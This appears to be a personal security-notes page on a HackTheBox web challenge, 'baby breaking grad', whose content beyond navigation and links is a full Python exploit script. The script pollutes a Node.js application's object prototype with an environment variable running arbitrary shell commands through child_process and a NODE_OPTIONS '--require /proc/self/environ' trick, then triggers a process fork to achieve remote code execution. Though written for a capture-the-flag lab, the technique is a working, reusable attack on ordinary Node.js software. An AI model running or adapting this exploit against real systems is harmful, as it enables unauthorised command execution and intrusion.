fg0x0's notes
Ctrlk
  • πŸ‘€Introduction
    • πŸ΄β€β˜ οΈAbout me
  • πŸ‘Ύoffensive-security
    • 🐲OSCP
    • ⛓️OSEP
    • πŸ•ΈοΈOSWE
    • 🌌PG-Practice
  • 🚩Red Team
    • ☒️Active Directory Exploitation
    • πŸ‘ΏRed Teaming Zero to Hero
    • πŸ‘ΏRed Teaming All The Things
    • πŸ•ΈοΈWeb Exploitation
    • πŸ’€Binary Exploitation
    • ☠️Exploit Development
  • 🏳️Blue Team
    • πŸ”Digital Forensics
    • πŸ”Cryptography & Math
    • βͺReverse Engineering
  • πŸ΄β€β˜ οΈctf
    • πŸ‡Haruul Zangi
    • πŸ΄β€β˜ οΈOther CTF
  • 🧊HackTheBox
    • πŸͺŸWindows Machine
    • 🐧Linux Machine
    • ☠️Other Platform Machines
    • Web Exploitation
      • πŸ‘½Flask SSTI
      • Injection
      • πŸ’₯Prototype Pollution
        • ☠️baby breaking grad
      • πŸ˜΅β€πŸ’«insecure deserialization
      • XSS
      • πŸ‘ΎSymfony
      • πŸ‘₯XXE
      • Ping submit hiideg
      • RCE
      • LFI
      • File Upload
      • URL submit hiideg
      • Invoice ilgeedeg
      • HTTP2 smuggling
    • Forensics
  • πŸ’€Synack Red Team
Powered by GitBook
On this page
  1. 🧊HackTheBox
  2. Web Exploitation
  3. πŸ’₯Prototype Pollution

☠️baby breaking grad

prototype pollution,

LogoBaby breaking grad - Braincoke | Security Blogbraincoke.fr
LogoBreaking Grad HackTheBox Write-upMedium
LogoBaby breaking gradMedium

full exploit code

PreviousPrototype PollutionNextinsecure deserialization

Last updated 1 year ago

import requests
import json
from sys import argv, exit

def get_args():
	try:
		return argv[1], argv[2]
	except IndexError:
		exit('Usage: python3 ' + argv[0] + ' <target_url> <cmd>')

def gen_payload(cmd):
	payload_dict = {
		'constructor': {
			'prototype': {
				'env': {
					'x': 'console.log(require("child_process").execSync("{cmd}").toString())//'.format(cmd=cmd)
				},
				'NODE_OPTIONS': '--require /proc/self/environ'
			}
		}
	}
	return json.dumps(payload_dict)

def main():
	target, cmd = get_args()

	# http header data + payload
	headers = {'Content-Type': 'application/json'}
	json_payload = gen_payload(cmd)

	# Send payload/POST request to /api/calculate to exploit prototype pollution
	requests.post(target + '/api/calculate', headers=headers, data=json_payload)
	
	# Trigger fork to spawn new process and gain RCE via calling --require against environment variables
	r = requests.get(target + '/debug/version')
	print(r.text)

if __name__ == '__main__':
	main()